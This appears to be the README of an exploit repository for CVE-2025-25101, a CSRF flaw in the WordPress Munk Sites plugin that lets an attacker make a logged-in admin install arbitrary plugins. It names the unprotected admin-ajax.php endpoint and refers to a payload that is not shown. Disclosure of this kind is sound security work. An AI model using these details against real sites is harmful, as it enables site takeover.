nxploited/cve-2025-25101WordPress Munk Sites plugin <= 1.0.7 - CSRF to Arbitrary Plugin Installation vulnerability
CVE-2025-25101 is a Cross-Site Request Forgery (CSRF) vulnerability in the MetricThemes Munk Sites plugin for WordPress (versions ≤ 1.0.7).
This vulnerability allows an unauthenticated attacker to trick an admin into installing and activating arbitrary plugins, potentially leading to Remote Code Execution (RCE) or website compromise.
<= 1.0.7Any version where the plugin is active| Score | Severity | Version | Vector String |
|---|
| 9.6 | 🔥 CRITICAL | 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
The CSRF flaw in the Munk Sites plugin allows an attacker to force a logged-in WordPress admin to install and activate any WordPress plugin without their consent.
This is done by exploiting an unprotected admin-ajax.php request that lacks CSRF token verification.
This payload forces the victim to install the hello-world plugin.
